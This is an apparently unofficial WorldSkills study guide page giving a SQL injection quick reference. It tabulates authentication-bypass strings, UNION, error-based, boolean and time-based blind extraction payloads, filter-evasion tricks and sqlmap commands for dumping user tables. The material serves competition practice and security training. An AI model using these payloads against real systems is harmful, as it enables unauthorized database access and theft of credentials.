Quick reference for common SQL injection payloads. For detailed explanations, see SQL Injection.
| Payload | Database | Notes |
|---|
admin' -- | All | Comment out password check |
admin' # | MySQL | MySQL comment syntax |
' OR 1=1-- | All | Classic bypass |
' OR '1'='1 | All | Alternative true condition |
admin'/* | All | Block comment |
' OR 1=1 LIMIT 1-- | MySQL/PostgreSQL | Limit to first row |
') OR ('1'='1 | All | Bypass parentheses |
| Database | Payload | Extracts |
|---|
| MySQL | ' AND extractvalue(1, concat(0x7e, version()))-- | Version |
| MySQL | ' AND extractvalue(1, concat(0x7e, database()))-- | Current DB |
| MySQL | ' AND extractvalue(1, concat(0x7e, user()))-- | Current user |
| PostgreSQL | ' AND 1=cast(version() as int)-- | Version |
| MSSQL | ' AND 1=convert(int,@@version)-- | Version |
| Step | Payload |
|---|
| Find column count | ' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- (increment until error) |
| Find injectable columns | ' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
(match column count) |
| Extract database names | ' UNION SELECT schema_name FROM information_schema.schemata-- |
| Extract table names | ' UNION SELECT table_name FROM information_schema.tables WHERE table_schema='DB'-- |
| Extract column names | ' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'-- |
| Extract data | ' UNION SELECT username,password FROM users-- |
| Database | True Condition | False Condition |
|---|
| MySQL | ' AND 1=1-- | ' AND 1=2-- |
| PostgreSQL | ' AND 1=1-- | ' AND 1=2-- |
| MSSQL | ' AND 1=1-- | ' AND 1=2-- |
| Database | Payload |
|---|
| MySQL | ' AND SLEEP(5)-- |
| PostgreSQL | ' AND pg_sleep(5)-- |
| MSSQL | '; WAITFOR DELAY '00:00:05'-- |
| Oracle | ' AND dbms_lock.sleep(5)-- |
| Database | Payload | Purpose |
|---|
| MySQL | ' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'-- | Check if 1st char is ‘a’ |
| PostgreSQL | ' AND SUBSTR((SELECT password FROM users LIMIT 1),1,1)='a'-- | Same |
| MSSQL | ' AND SUBSTRING((SELECT TOP 1 password FROM users),1,1)='a'-- | Same |
| Payload | Database | Response |
|---|
' AND 'a'='a | All | True if vulnerable |
@@version | MySQL, MSSQL | Returns version |
version() | PostgreSQL, MySQL | Returns version |
SELECT banner FROM v$version | Oracle | Returns version |
' AND SLEEP(1)-- | MySQL | Delays response |
' AND pg_sleep(1)-- | PostgreSQL | Delays response |
| Technique | Example |
|---|
| Case variation | UnIoN SeLeCt |
| Comment insertion | UN/**/ION SE/**/LECT |
| Whitespace alternatives | UNION%0ASELECT (newline)
UNION%09SELECT (tab) |
| Double encoding | %2527%20OR%2520 |
| Inline comments | UN/*comment*/ION |
| Task | Command |
|---|
| Basic scan | sqlmap -u "http://target.com/page?id=1" |
| POST data | sqlmap -u "http://target.com/login" --data="user=admin&pass=test" |
| List databases | sqlmap -u "URL" --dbs |
| List tables | sqlmap -u "URL" -D dbname --tables |
| Dump table | sqlmap -u "URL" -D dbname -T users --dump |
| Time-based only | sqlmap -u "URL" --technique=T |
| Increase risk/level | sqlmap -u "URL" --level=5 --risk=3 |
- Always try manual payloads first before using sqlmap
- Screenshot the URL with payload visible for evidence
- If WAF blocks you, try 3-4 bypass techniques then move on (max 10 minutes)
- Boolean blind extraction is slow - only use if no other method works
- Document your database fingerprinting in write-up
Unofficial study guide, not endorsed by WorldSkills International or WorldSkills UK. Topics are example areas to prepare for, not the content of any test project: competition tasks are confidential, competitions are closed book, and formats change between competitions. More about this site.